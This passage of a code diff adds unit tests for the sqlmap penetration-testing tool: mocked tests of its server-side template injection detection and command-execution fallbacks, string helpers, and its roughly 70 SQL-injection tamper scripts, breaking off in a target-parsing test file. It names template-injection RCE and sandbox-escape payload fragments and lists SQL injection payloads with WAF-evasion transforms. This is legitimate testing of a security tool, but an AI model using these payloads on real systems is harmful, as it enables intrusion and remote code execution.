trueRendered/falseRendered; + # Twig/Handlebars have distinguishing probes. At least one curly engine + # must have a probe, but Jinja2 can rely on boolean rendering difference. + self.assertGreaterEqual(len(withProbes), 1, + "At least one {{}}-delimited engine needs a distinguishing probe") + + def test_boolean_payloads_differ(self): + for engine in ssti._ENGINE_TABLE: + self.assertNotEqual(engine.booleanTrue, engine.booleanFalse, + "Engine '%s' true/false payloads must differ" % engine.name) + if engine.trueRendered: + self.assertNotEqual(engine.trueRendered, engine.falseRendered, + "Engine '%s' true/false rendered values must differ" % engine.name) + + +class TestArithmeticDetection(unittest.TestCase): + def setUp(self): + self.original_send = ssti._send + + def tearDown(self): + ssti._send = self.original_send + + def test_jinja2_arithmetic_control_pair(self): + engine = ssti._ENGINE_TABLE[0] # Jinja2 + + def mock(place, parameter, value): + import re + m = re.search(r"\{\{ (\d+)\*(\d+)", value) + if m: + a, b = int(m.group(1)), int(m.group(2)) + return "Hello %d" % (a * b) + return "Hello " + value + + ssti._send = mock + self.assertTrue(ssti._probeArithmetic("GET", "q", engine)) + + def test_arithmetic_requires_both_results_correct(self): + engine = ssti._ENGINE_TABLE[0] + + def mock(place, parameter, value): + return "Hello 42" # always returns 42 regardless of payload + + ssti._send = mock + # Control pair check: result1 must NOT appear in page2 and vice versa + self.assertFalse(ssti._probeArithmetic("GET", "q", engine)) + + def test_handlebars_skipped(self): + engine = [e for e in ssti._ENGINE_TABLE if e.name == "Handlebars"][0] + self.assertFalse(ssti._probeArithmetic("GET", "q", engine)) + + +class TestErrorDetection(unittest.TestCase): + def setUp(self): + self.original_send = ssti._send + + def tearDown(self): + ssti._send = self.original_send + + def test_jinja2_error_detected(self): + engine = ssti._ENGINE_TABLE[0] + + def mock(place, parameter, value): + if "{{" in value and "unknown" in value: + return "jinja2.exceptions.TemplateSyntaxError: unexpected '}'" + return "Hello " + value + + ssti._send = mock + page = ssti._probeError("GET", "q", engine) + self.assertIsNotNone(page) + + def test_no_error_on_normal_response(self): + engine = ssti._ENGINE_TABLE[0] + + def mock(place, parameter, value): + return "Hello " + value + + ssti._send = mock + page = ssti._probeError("GET", "q", engine) + self.assertIsNone(page) + + def test_backend_from_error(self): + page = "jinja2.exceptions.UndefinedError: 'foo' is undefined" + backend = ssti._backendFromError(page) + self.assertIsNotNone(backend) + + +class TestDistinguishingProbes(unittest.TestCase): + def setUp(self): + self.original_send = ssti._send + + def tearDown(self): + ssti._send = self.original_send + + def test_jinja2_no_distinguishing_probe(self): + engine = ssti._ENGINE_TABLE[0] # Jinja2 + self.assertFalse(engine.distinguishingProbe, + "Jinja2 uses trueRendered/falseRendered for disambiguation, not a separate probe") + + def test_no_distinguishing_without_probe(self): + engine = [e for e in ssti._ENGINE_TABLE if e.name == "Pug/Jade"][0] + self.assertFalse(ssti._probeDistinguishing("GET", "q", engine)) + + def test_comment_probe_reflection_rejected(self): + """Comment-style probe reflected verbatim must not pass.""" + engine = [e for e in ssti._ENGINE_TABLE if e.name == "Freemarker"][0] + + def mock(place, parameter, value): + if "<#--" in value: + return "Hello <#-- freemarker -->" # raw reflection + return "Hello " + value + + ssti._send = mock + self.assertFalse(ssti._probeDistinguishing("GET", "q", engine)) + + +class TestBooleanDetection(unittest.TestCase): + def setUp(self): + self.original_send = ssti._send + + def tearDown(self): + ssti._send = self.original_send + + def test_jinja2_boolean(self): + engine = ssti._ENGINE_TABLE[0] + + def mock(place, parameter, value): + if "True" in value: + return "Hello True" + elif "False" in value: + return "Hello False" + return "Hello " + value + + ssti._send = mock + template = ssti._detectBoolean("GET", "q", engine) + self.assertIsNotNone(template) + + def test_no_boolean_when_true_false_same(self): + engine = ssti._ENGINE_TABLE[0] + + def mock(place, parameter, value): + return "same response" + + ssti._send = mock + template = ssti._detectBoolean("GET", "q", engine) + self.assertIsNone(template) + + def test_plain_reflection_rejected(self): + """Raw payload reflection must not pass boolean detection.""" + engine = ssti._ENGINE_TABLE[0] + + def mock(place, parameter, value): + return "Hello " + value # reflects payload verbatim + + ssti._send = mock + template = ssti._detectBoolean("GET", "q", engine) + self.assertIsNone(template) + + +class TestFingerprint(unittest.TestCase): + def setUp(self): + self.original_send = ssti._send + + def tearDown(self): + ssti._send = self.original_send + + def test_jinja2_fingerprinted_with_arith_and_boolean(self): + import re + + def mock(place, parameter, value): + m = re.search(r"\{\{ (\d+)\*(\d+)", value) + if m: + return "Hello %d" % (int(m.group(1)) * int(m.group(2))) + if "True" in value: + return "Hello True" # Jinja2-style boolean rendering + if "False" in value: + return "Hello False" + if "unknown|filter" in value: + return "jinja2.exceptions.TemplateSyntaxError: unexpected '}'" + return "Hello " + value + + ssti._send = mock + engine, evidence = ssti._fingerprint("GET", "q") + self.assertIsNotNone(engine) + self.assertIn("Jinja2", engine.name) + self.assertTrue(evidence.get("arithmetic")) + self.assertTrue(evidence.get("boolean")) + + +class TestCrossEngineDisambiguation(unittest.TestCase): + def setUp(self): + self.original_send = ssti._send + + def tearDown(self): + ssti._send = self.original_send + + def test_jinja2_preferred_over_twig_via_boolean_rendering(self): + """Jinja2 and Twig share {{ }} but differ in boolean rendering. + Jinja2 renders True as 'True', Twig renders true as '1'. + Our detection uses trueRendered for intrinsic discrimination.""" + import re + + def mock(place, parameter, value): + m = re.search(r"\{\{ (\d+)\*(\d+)", value) + if m: + return "Hello %d" % (int(m.group(1)) * int(m.group(2))) + # Twig-style boolean rendering (true -> 1, false -> empty) + if "{{ true }}" in value: + return "Hello 1" + if "{{ false }}" in value: + return "Hello " + if "{{ True }}" in value: + return "Hello 1" # Jinja2 True payload would not match this + return "Hello " + value + + ssti._send = mock + engine, evidence = ssti._fingerprint("GET", "q") + self.assertIsNotNone(engine) + # Twig should win because its boolean payloads match the mock + self.assertIn("Twig", engine.name) + + +class TestBooleanUniqueness(unittest.TestCase): + def test_jinja2_boolean_unique_among_curlies(self): + jinja2 = ssti._ENGINE_TABLE[0] + self.assertTrue(ssti._booleanUniquelyIdentifies(jinja2)) + + def test_freemarker_boolean_unique_with_computer_format(self): + freemarker = [e for e in ssti._ENGINE_TABLE if e.name == "Freemarker"][0] + # FreeMarker uses ${true?c} (computer-format), distinct from SpringEL's ${true} and + # Mako's ${True}, so its boolean rendering now uniquely identifies it within the ${ } family + self.assertTrue(ssti._booleanUniquelyIdentifies(freemarker)) + spring = [e for e in ssti._ENGINE_TABLE if "Spring" in e.name][0] + self.assertTrue(ssti._booleanUniquelyIdentifies(spring)) + + def test_jinja2_with_arithmetic_and_boolean_is_exact(self): + """Arithmetic + boolean (unique) should produce exact engine name, + not a family/probable guess.""" + import re + + def mock(place, parameter, value): + m = re.search(r"\{\{ (\d+)\*(\d+)", value) + if m: + return "Hello %d" % (int(m.group(1)) * int(m.group(2))) + if "True" in value: + return "Hello True" + if "False" in value: + return "Hello False" + return "Hello " + value + + ssti._send = mock + engine, evidence = ssti._fingerprint("GET", "q") + self.assertIsNotNone(engine) + # Boolean is unique -> should NOT be marked "(probable" + self.assertNotIn("(probable", engine.name) + self.assertIn("Jinja2", engine.name) + + +class TestTakeoverGate(unittest.TestCase): + def test_can_takeover_exact_engine_with_proof(self): + engine = ssti._ENGINE_TABLE[0] # Jinja2 + evidence = {"arithmetic": True, "boolean": True} + self.assertTrue(ssti._canTakeover(engine, evidence)) + + def test_cannot_takeover_probable_engine(self): + engine = ssti._ENGINE_TABLE[0]._replace(name="Jinja2/Twig/Handlebars-like (probable Jinja2)") + evidence = {"arithmetic": True} + self.assertFalse(ssti._canTakeover(engine, evidence)) + + def test_cannot_takeover_without_proof(self): + engine = ssti._ENGINE_TABLE[0] + evidence = {} + self.assertFalse(ssti._canTakeover(engine, evidence)) + + def test_cannot_takeover_without_payloads(self): + engine = [e for e in ssti._ENGINE_TABLE if e.name == "Handlebars"][0] + evidence = {"arithmetic": True} + self.assertFalse(ssti._canTakeover(engine, evidence)) + + +class TestRequestMutation(unittest.TestCase): + """Verify _replaceSegment() correctly mutates parameter strings.""" + + def setUp(self): + self.original_send = ssti._send + self._orig_params = dict(ssti.conf.parameters) if hasattr(ssti.conf, 'parameters') else {} + self._orig_paramDict = dict(ssti.conf.paramDict) if hasattr(ssti.conf, 'paramDict') else {} + self._orig_cookieDel = getattr(ssti.conf, 'cookieDel', None) + + def tearDown(self): + ssti._send = self.original_send + if hasattr(ssti.conf, 'parameters'): + ssti.conf.parameters.clear() + ssti.conf.parameters.update(self._orig_params) + if hasattr(ssti.conf, 'paramDict'): + ssti.conf.paramDict.clear() + ssti.conf.paramDict.update(self._orig_paramDict) + if self._orig_cookieDel is not None: + ssti.conf.cookieDel = self._orig_cookieDel + + def test_replace_segment_single_param(self): + ssti.conf.parameters = {"GET": "q=x"} + result = ssti._replaceSegment("GET", "q", "test") + self.assertEqual(result, "q=test") + + def test_replace_segment_multi_param(self): + ssti.conf.parameters = {"GET": "q=x&a=1&b=2"} + result = ssti._replaceSegment("GET", "a", "99") + self.assertEqual(result, "q=x&a=99&b=2") + + def test_replace_segment_post(self): + ssti.conf.parameters = {"POST": "user=admin&pass=secret"} + result = ssti._replaceSegment("POST", "pass", "newpass") + self.assertEqual(result, "user=admin&pass=newpass") + + def test_replace_segment_cookie_delim(self): + from lib.core.enums import PLACE + ssti.conf.parameters = {PLACE.COOKIE: "a=1;b=2"} + ssti.conf.cookieDel = ";" + result = ssti._replaceSegment(PLACE.COOKIE, "b", "xx") + self.assertEqual(result, "a=1;b=xx") + + def test_replace_segment_missing_param(self): + ssti.conf.parameters = {"GET": "a=1"} + ssti.conf.paramDict = {"GET": {"a": "1", "b": "2"}} + result = ssti._replaceSegment("GET", "b", "xx") + self.assertEqual(result, "a=1&b=xx") + + +class TestExecuteCommand(unittest.TestCase): + def setUp(self): + self.original_send = ssti._send + self.original_dumper = getattr(ssti.conf, 'dumper', None) + # Provide a mock dumper so _executeCommand doesn't crash on conf.dumper + from lib.core.datatype import AttribDict + ssti.conf.dumper = AttribDict() + ssti.conf.dumper.singleString = lambda msg: None + + def tearDown(self): + ssti._send = self.original_send + ssti.conf.dumper = self.original_dumper # restore unconditionally (was None -> don't leak the mock dumper) + + def test_error_page_skipped(self): + """RCE payload that triggers a template error is skipped; next payload tried.""" + engine = ssti._ENGINE_TABLE[0] # Jinja2 + calls = [] + + def mock(place, parameter, value): + calls.append(value) + if "cycler" in value: + return "jinja2.exceptions.UndefinedError: 'cycler' is undefined" + if "config" in value: + return "Hello output-from-config" + return "Hello " + value + + ssti._send = mock + ssti._executeCommand("GET", "q", engine, "test") + # Should skip cycler (error) and use config (valid output) + self.assertTrue(any("config" in c for c in calls), + "Should have tried the second payload after error skip") + + def test_all_error_pages_produce_warning(self): + """When all RCE payloads produce template errors, no success is reported. + _executeCommand sends baseline + one request per fallback payload.""" + engine = ssti._ENGINE_TABLE[0] + calls = [] + + def mock(place, parameter, value): + calls.append(value) + return "jinja2.exceptions.TemplateSyntaxError: unexpected token" + + ssti._send = mock + ssti._executeCommand("GET", "q", engine, "test") + # 1 baseline + N payload attempts = N+1 calls + self.assertEqual(len(calls), len(engine.rcePayloads) + 1, + "Should have tried all payloads (baseline + one per fallback) before giving up") + + +class TestCommandEscaping(unittest.TestCase): + def test_escape_single_quoted(self): + self.assertEqual(ssti._escapeSingleQuoted("hello"), "hello") + self.assertEqual(ssti._escapeSingleQuoted("it's"), "it\\'s") + self.assertEqual(ssti._escapeSingleQuoted("a\\b"), "a\\\\b") + + +class TestEngineMatrix(unittest.TestCase): + """For EVERY engine in the table, stand up a faithful mock server running that + engine and assert _fingerprint() identifies it. This proves each engine's full + detection path (arithmetic/boolean/error/distinguishing) actually works end to + end - not just Jinja2 - and guards against regressions like the ERB '%>' format + bug where a delimiter containing '%' silently disabled arithmetic detection.""" + + def setUp(self): + self.original_send = ssti._send + + def tearDown(self): + ssti._send = self.original_send + + # Digit-free, boolean-word-free sample errors that match each engine's errorRegex. + # (digit/boolean-free so a sibling engine's boolean probe falling through to the error + # branch on this server is still correctly rejected.) + _ERRORS = { + "Jinja2": "jinja2.exceptions.TemplateSyntaxError: unexpected end of template", + "Mako": "mako.exceptions.SyntaxException: unclosed control structure", + "Twig": "Twig_Error_Syntax: unexpected token in template", + "Freemarker": "freemarker.core.ParseException: encountered unexpected directive", + "Velocity": "org.apache.velocity.runtime.parser.ParseErrorException: encountered eof", + "Spring EL / Thymeleaf": "org.springframework.expression.spel.SpelParseException: bad node", + "ERB": "(erb): syntax error, unexpected end-of-input", + "Pug/Jade": "pug: unexpected token in template", + "Handlebars": "Handlebars: Parse error on line one", + } + + # Real divide-by-zero error text per language family (captured from live Mako/ERB/Jinja2 + # backends), so the S2 family probe can be exercised. JS yields Infinity (no error). + _DIVZERO = { + "python": "ZeroDivisionError: division by zero", + "ruby": "ZeroDivisionError: divided by 0", + "php": "DivisionByZeroError: Division by zero", + "java": "java.lang.ArithmeticException: / by zero", + "nodejs": "Hello Infinity", + } + + @staticmethod + def _make_server(engine, errors): + import re + op = re.escape(engine.delimiter) + cl = re.escape(engine.delimiterClose) + arithRe = re.compile(op + r"\s*(\d+)\s*\*\s*(\d+)\s*" + cl) if engine.arithmeticFmt else None + divZero = TestEngineMatrix._DIVZERO + err = errors.get(engine.name) + + def server(place, parameter, value): + # 1) engine-specific distinguishing probe + if engine.distinguishingProbe and engine.distinguishingProbe in value: + if engine.distinguishingResult: + return "Hello " + engine.distinguishingResult + return "Hello" # comment-style probe -> stays at baseline + # 2) this engine's own boolean rendering + if engine.booleanTrue and engine.booleanTrue in value: + return "Hello " + engine.trueRendered + if engine.booleanFalse and engine.booleanFalse in value: + return "Hello " + engine.falseRendered + # 3) divide-by-zero -> language-family-specific error (S2), for engines that evaluate it + if arithRe is not None and (engine.delimiter + "1/0" + engine.delimiterClose) in value: + return divZero.get(engine.family, "Hello") + # 4) arithmetic, but ONLY for engines that actually evaluate it + if arithRe is not None: + m = arithRe.search(value) + if m: + return "Hello %d" % (int(m.group(1)) * int(m.group(2))) + # 5) malformed fragment in this engine's delimiter -> engine-specific error + if err and any(p in value for p in engine.errorProbes): + return err + # 6) anything else (incl. other engines' payloads) renders inertly + return "Hello" + + return server + + def test_every_engine_is_fingerprinted(self): + for engine in ssti._ENGINE_TABLE: + ssti._send = self._make_server(engine, self._ERRORS) + result, evidence = ssti._fingerprint("GET", "q") + self.assertIsNotNone(result, "engine '%s' was not detected at all" % engine.name) + self.assertIn(engine.name, result.name, + "server running '%s' was identified as '%s'" % (engine.name, result.name)) + + def test_family_probe_confirms_language(self): + # S2: the divide-by-zero probe must confirm the backend family for every + # expression-evaluating, non-JS engine (Python/Ruby/PHP/Java). + for engine in ssti._ENGINE_TABLE: + if not (engine.arithmeticFmt and engine.delimiterClose): + continue + if engine.family not in ("python", "ruby", "php", "java"): + continue + ssti._send = self._make_server(engine, self._ERRORS) + _result, evidence = ssti._fingerprint("GET", "q") + self.assertTrue(evidence.get("family"), + "family probe should confirm '%s' on a %s backend" % (engine.name, engine.family)) + + def test_filter_evasion_rce_fallbacks_present(self): + # S3: each engine must retain its filter-evasion / sandbox-escape RCE fallbacks. + def rce(name): + return " ".join(p for p, _d in next(e for e in ssti._ENGINE_TABLE if e.name == name).rcePayloads) + jinja = rce("Jinja2") + self.assertIn("attr(", jinja) # dot/underscore-free attr() chain + self.assertIn("\\x5f", jinja) # hex-escaped dunders + twig = rce("Twig") + self.assertIn("sort('system')", twig) + self.assertIn("map('system')", twig) + spring = rce("Spring EL / Thymeleaf") + self.assertIn("readLine", spring) # output-capturing SpEL + self.assertIn("@java.lang.Runtime@getRuntime", spring) # OGNL fallback + + def test_family_probe_does_not_crossmatch(self): + # Python 'division by zero' must NOT satisfy the (case-sensitive) PHP signature, so a + # Jinja2/Python server never lets Twig/PHP claim a family match. + jinja = next(e for e in ssti._ENGINE_TABLE if e.name == "Jinja2") + ssti._send = self._make_server(jinja, self._ERRORS) + cache = {} + twig = next(e for e in ssti._ENGINE_TABLE if e.name == "Twig") + self.assertEqual(ssti._probeFamily("GET", "q", jinja, cache), "python") + self.assertNotEqual(ssti._probeFamily("GET", "q", twig, cache), twig.family) + + def test_erb_arithmetic_works_after_format_fix(self): + # Direct regression guard for the '<%= %d*%d %>' / '<%= %s %>' format bug. + erb = next(e for e in ssti._ENGINE_TABLE if e.name == "ERB") + ssti._send = self._make_server(erb, self._ERRORS) + self.assertTrue(ssti._probeArithmetic("GET", "q", erb), + "ERB arithmetic proof must succeed once %-format no longer crashes on '%>'") + result, evidence = ssti._fingerprint("GET", "q") + self.assertEqual(result.name, "ERB") + self.assertTrue(evidence.get("arithmetic")) + + def test_mako_distinguished_from_freemarker_spring(self): + # Mako shares '${ }' with Freemarker/Spring but renders capital True/False; + # it must be named exactly (via unique boolean rendering), not "probable". + mako = next(e for e in ssti._ENGINE_TABLE if e.name == "Mako") + ssti._send = self._make_server(mako, self._ERRORS) + result, evidence = ssti._fingerprint("GET", "q") + self.assertEqual(result.name, "Mako") + self.assertTrue(evidence.get("boolean")) + + +class TestFileBasedRce(unittest.TestCase): + """Two-step file-based RCE fallback (_FILE_RCE) for JDK-hardened Java engines: modern JVMs + reflectively block Process.getInputStream(), so in-band stdout capture errors out; exec-to-tempfile + then read-file must still recover the command output.""" + + def setUp(self): + from lib.core.data import conf + self._send = ssti._send + self._dumper = conf.dumper + captured = self.captured = [] + + class _Dumper(object): + def singleString(self, text, **kwargs): + captured.append(text) + + conf.dumper = _Dumper() + + def tearDown(self): + from lib.core.data import conf + ssti._send = self._send + conf.dumper = self._dumper + + def test_spel_output_via_file_when_inband_blocked(self): + engine = next(e for e in ssti._ENGINE_TABLE if e.name == "Spring EL / Thymeleaf") + self.assertIn(engine.name, ssti._FILE_RCE) # engine wired for the two-step fallback + + def mock(place, parameter, value): + if "ProcessBuilder" in value: # exec step: launches (render error, ignored) + return "org.springframework.expression.spel.SpelEvaluationException: EL1001E" + if "readAllBytes" in value: # read step: the temp file's content + return "Hello uid=0(root) gid=0(root)" + if "Runtime" in value or "getInputStream" in value: # in-band capture blocked on hardened JDK + return "org.springframework.expression.spel.SpelEvaluationException: EL1029E" + return "Hello " # baseline / original value + + ssti._send = mock + ssti._executeCommand("GET", "q", engine, "id") + self.assertTrue(any("uid=0(root)" in _ for _ in self.captured), + msg="two-step file-based RCE did not surface command output: %r" % self.captured) diff --git a/tests/test_strings.py b/tests/test_strings.py new file mode 100644 index 00000000000..e3683ea0163 --- /dev/null +++ b/tests/test_strings.py @@ -0,0 +1,114 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +String / path / escape helpers. +""" + +import os +import random +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.common import (normalizePath, posixToNtSlashes, ntToPosixSlashes, + isHexEncodedString, decodeStringEscape, encodeStringEscape, + listToStrValue, filterControlChars, safeVariableNaming, + unsafeVariableNaming, longestCommonPrefix, decodeIntToUnicode) + +RND = random.Random(7) + + +class TestPaths(unittest.TestCase): + def test_normalizePath(self): + self.assertEqual(normalizePath("a//b/c"), "a/b/c") + + def test_slashes(self): + self.assertEqual(posixToNtSlashes("/a/b"), "\\a\\b") + self.assertEqual(ntToPosixSlashes("a\\b"), "a/b") + + def test_slash_roundtrip(self): + for _ in range(500): + s = "/".join(["seg%d" % RND.randint(0, 9) for _ in range(RND.randint(2, 6))]) + nt = posixToNtSlashes(s) + # non-identity anchor: the NT form must actually differ (no '/', has '\') - + # otherwise a no-op pair would pass this round-trip + self.assertNotIn("/", nt, msg="posixToNtSlashes left a '/': %r" % nt) + self.assertIn("\\", nt) + self.assertEqual(ntToPosixSlashes(nt), s) + + +class TestHexDetection(unittest.TestCase): + CASES = [("0x4142", True), ("4142", True), ("zz", False), ("0xZZ", False), ("", False)] + + def test_isHexEncodedString(self): + for v, exp in self.CASES: + self.assertEqual(bool(isHexEncodedString(v)), exp, msg="isHexEncodedString(%r)" % v) + + +class TestStringEscape(unittest.TestCase): + def test_known(self): + self.assertEqual(decodeStringEscape("a\\tb"), "a\tb") + self.assertEqual(encodeStringEscape("a\tb"), "a\\tb") + + def test_roundtrip_property(self): + ctrl = "\t\n\r\\abc 123" + for _ in range(2000): + s = "".join(RND.choice(ctrl) for _ in range(RND.randint(0, 20))) + self.assertEqual(decodeStringEscape(encodeStringEscape(s)), s) + + +class TestVariableNaming(unittest.TestCase): + def test_transform_is_not_identity(self): + # safeVariableNaming hex-encodes non-identifier-safe names behind an EVAL_ prefix; + # pin the exact form so the round-trip below can't be satisfied by no-op functions + self.assertEqual(safeVariableNaming("a.b"), "EVAL_612e62") # 612e62 == hex("a.b") + self.assertNotEqual(safeVariableNaming("weird name"), "weird name") + + def test_roundtrip(self): + for ident in ["a.b", "schema.table", "x", "weird name", "a-b.c"]: + encoded = safeVariableNaming(ident) + if any(c not in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_" for c in ident): + self.assertNotEqual(encoded, ident, msg="unsafe ident %r was not transformed" % ident) + self.assertEqual(unsafeVariableNaming(encoded), ident) + + +class TestMiscStrings(unittest.TestCase): + def test_listToStrValue(self): + self.assertEqual(listToStrValue([1, 2, 3]), "1, 2, 3") + + def test_filterControlChars(self): + self.assertEqual(filterControlChars("a\x07b"), "a b") + + def test_longestCommonPrefix(self): + self.assertEqual(longestCommonPrefix("abcx", "abcy"), "abc") + self.assertEqual(longestCommonPrefix("abc", "xyz"), "") + + def test_decodeIntToUnicode(self): + from lib.core.common import Backend + from lib.core.data import kb + + # decodeIntToUnicode() is back-end DBMS dependent (e.g. PostgreSQL/Oracle/SQLite + # treat >255 values as Unicode code points). Pin a clean, no-forced-DBMS state so + # the result is deterministic regardless of test execution order (a prior dialect + # test may otherwise leave a forced DBMS set); restore it afterwards. + _saved = (kb.get("forcedDbms"), kb.get("stickyDBMS")) + Backend.flushForcedDbms(force=True) + try: + # single-byte code points map to their char + self.assertEqual(decodeIntToUnicode(65), u"A") + self.assertEqual(decodeIntToUnicode(97), u"a") + # NOTE: with no identified DBMS, >255 ints are interpreted as a multi-byte + # sequence (not a Unicode code point), e.g. 0x2122 -> bytes 0x21 0x22 -> '!"' + self.assertEqual(decodeIntToUnicode(0x2122), u'!"') + finally: + kb.forcedDbms, kb.stickyDBMS = _saved + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_tamper.py b/tests/test_tamper.py new file mode 100644 index 00000000000..1d9eaa88562 --- /dev/null +++ b/tests/test_tamper.py @@ -0,0 +1,155 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Tamper scripts (all ~70): contract, robustness on a payload battery, known +transforms, and documented fragile cases. + +NOTE (flagged for author - real minor bugs surfaced by this suite): + * tamper/percentage.py raises UnboundLocalError on empty/None payload + (retVal is only assigned inside `if payload:`; missing `retVal = payload` init). + * tamper/escapequotes.py raises AttributeError on None payload (no guard). + 68/70 tampers handle ""/None gracefully; these two are inconsistent. Pinned below + as KNOWN_FRAGILE so the suite stays green and a fix is a conscious change. +""" + +import os +import glob +import importlib +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, ROOT +bootstrap() + +from thirdparty import six + +TAMPERS = sorted(os.path.basename(f)[:-3] for f in glob.glob(os.path.join(ROOT, "tamper", "*.py")) + if not f.endswith("__init__.py")) + +# realistic, non-empty payloads (incl. unicode via escape, and a long one) +PAYLOADS = [ + "1 AND 2=2", + "1 UNION SELECT NULL,NULL-- -", + "1 AND (SELECT 1 FROM dual)>0", + "1 AND '1'='1", + "admin'-- -", + u"1 AND name='caf\xe9'", + "1 AND " + "A" * 64, # modest "longer" payload +] + +KNOWN_FRAGILE = set() # percentage/escapequotes empty/None crashes were FIXED by the author; now covered below +# Intentionally expensive by design (generates 4.2M parameters per call to flood Lua-Nginx +# WAFs) -> ~6s/call. NOT a bug; excluded from execution to keep the unit suite fast. +HEAVY = {"luanginxmore"} + +# Project contract for falsy input: tamper("") == "" and tamper(None) is None +# (the common idiom `if payload: ...; return payload` passes "" and None through unchanged). +# These tampers legitimately deviate for None: they initialize `retVal = ""` and only reassign +# it inside `if payload:`, so any falsy payload (both "" AND None) returns "" -- i.e. None is +# normalized to "" instead of being passed through. tamper("") == "" still holds for them. +NONE_RETURNS_EMPTY = { + "sp_password", # retVal = ""; reassigned only inside `if payload:` + "space2dash", # retVal = ""; reassigned only inside `if payload:` + "space2hash", # retVal = ""; reassigned only inside `if payload:` + "space2morehash", # retVal = ""; reassigned only inside `if payload:` + "space2mssqlhash", # retVal = ""; reassigned only inside `if payload:` + "space2mysqldash", # retVal = ""; reassigned only inside `if payload:` +} + + +class TestTamperRobustness(unittest.TestCase): + def test_no_crash_returns_string(self): + for name in TAMPERS: + if name in HEAVY: + continue + mod = importlib.import_module("tamper.%s" % name) + for p in PAYLOADS: + try: + r = mod.tamper(p) + except Exception as ex: + self.fail("tamper '%s' crashed on %r: %s" % (name, p[:25], ex)) + self.assertTrue(isinstance(r, six.string_types), + msg="tamper '%s' returned %s for %r" % (name, type(r).__name__, p[:25])) + + +class TestTamperEmptyNoneHandling(unittest.TestCase): + def test_graceful_on_empty_and_none(self): + # Assert the actual return contract on falsy input, not merely "does not raise": + # tamper("") == "" and tamper(None) is None + # (NONE_RETURNS_EMPTY tampers normalize None to "" -- see comment on that set.) + for name in TAMPERS: + if name in KNOWN_FRAGILE or name in HEAVY: + continue + mod = importlib.import_module("tamper.%s" % name) + + try: + empty_result = mod.tamper("") + except Exception as ex: + self.fail("tamper '%s' crashed on %r: %s" % (name, "", ex)) + self.assertEqual(empty_result, "", + msg="tamper '%s' returned %r for '' (expected '')" % (name, empty_result)) + + try: + none_result = mod.tamper(None) + except Exception as ex: + self.fail("tamper '%s' crashed on %r: %s" % (name, None, ex)) + if name in NONE_RETURNS_EMPTY: + self.assertEqual(none_result, "", + msg="tamper '%s' returned %r for None (expected '' per NONE_RETURNS_EMPTY)" % (name, none_result)) + else: + self.assertIsNone(none_result, + msg="tamper '%s' returned %r for None (expected None)" % (name, none_result)) + + def test_previously_fragile_now_fixed(self): + # regression pin: percentage/escapequotes used to crash on empty/None; now must be graceful + import tamper.percentage as _p + import tamper.escapequotes as _e + self.assertEqual(_p.tamper(""), "") + self.assertIsNone(_p.tamper(None)) + self.assertEqual(_e.tamper(""), "") + self.assertIsNone(_e.tamper(None)) + + +class TestKnownTransforms(unittest.TestCase): + # authoritative input->output taken from each tamper's own doctest + CASES = { + "space2comment": ("SELECT id FROM users", "SELECT/**/id/**/FROM/**/users"), + "between": ("1 AND A > B--", "1 AND A NOT BETWEEN 0 AND B--"), + "charencode": ("SELECT FIELD FROM%20TABLE", + "%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45"), + "apostrophemask": ("1 AND '1'='1", "1 AND %EF%BC%871%EF%BC%87=%EF%BC%871"), + "equaltolike": ("SELECT * FROM users WHERE id=1", "SELECT * FROM users WHERE id LIKE 1"), + "percentage": ("SELECT FIELD FROM TABLE", "%S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E"), + # additional deterministic transforms (verified stable across repeated calls) + "space2plus": ("1 AND 2>1", "1+AND+2>1"), + "unionalltounion": ("1 UNION ALL SELECT 2", "1 UNION SELECT 2"), + "halfversionedmorekeywords": ("1 AND 2>1", "1/*!0AND 2>1"), + "versionedkeywords": ("1 AND 2>1", "1/*!AND*/2>1"), + "appendnullbyte": ("1", "1%00"), + "base64encode": ("1 AND 1=1", "MSBBTkQgMT0x"), + "greatest": ("1 AND A>B", "1 AND GREATEST(A,B+1)=A"), + "ifnull2ifisnull": ("IFNULL(a,b)", "IF(ISNULL(a),b,a)"), + "symboliclogical": ("1 AND 2 OR 3", "1 %26%26 2 %7C%7C 3"), + "bluecoat": ("1 AND 2=2", "1 AND%092 LIKE 2"), + "apostrophenullencode": ("'", "%00%27"), + } + + def test_transforms(self): + for name, (inp, expected) in self.CASES.items(): + mod = importlib.import_module("tamper.%s" % name) + self.assertEqual(mod.tamper(inp), expected, msg="tamper '%s'(%r)" % (name, inp)) + + +class TestTamperCount(unittest.TestCase): + def test_expected_count(self): + # there are currently 70 tamper scripts; floor at 70 so an accidental deletion (or a glob + # that silently stops matching) fails loudly rather than passing on a shrunken set + self.assertGreaterEqual(len(TAMPERS), 70, msg="expected >=70 tampers, found %d" % len(TAMPERS)) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_target_parsing.py b/tests/test_target_parsing.py new file mode 100644 index 00000000000..c5a981f4a5a --- /dev/null +++ b/tests/test_target_parsing.py @@ -0,0 +1,527 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Target-environment setup in lib/core/target.py. + +target.py wires a single scan's per-host state together: it derives the output / +dump / files directories from the hostname, opens (and optionally flushes) the +HashDB session file, resumes a previously-fingerprinted DBMS/OS and stored kb +values out of that session, decides the custom injection marker, normalizes the +POST body (url-decode / base64), splits GET/POST/Cookie/header strings into the +testable paramDict, and restores the per-target merged options between targets. + +None of that needs a live HTTP target or a real DBMS connection: every function +reads conf/kb globals (which are set up here per-test and restored in tearDown) +and at most touches the local filesystem (pointed at a private temp tree) or a +local SQLite session file. Those side-effecting paths are still pure with +respect to the network, so they are exercised here against real temp dirs. + +All expected values below were probed from actual output, not assumed. +""" + +import atexit +import os +import shutil +import sys +import tempfile +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, 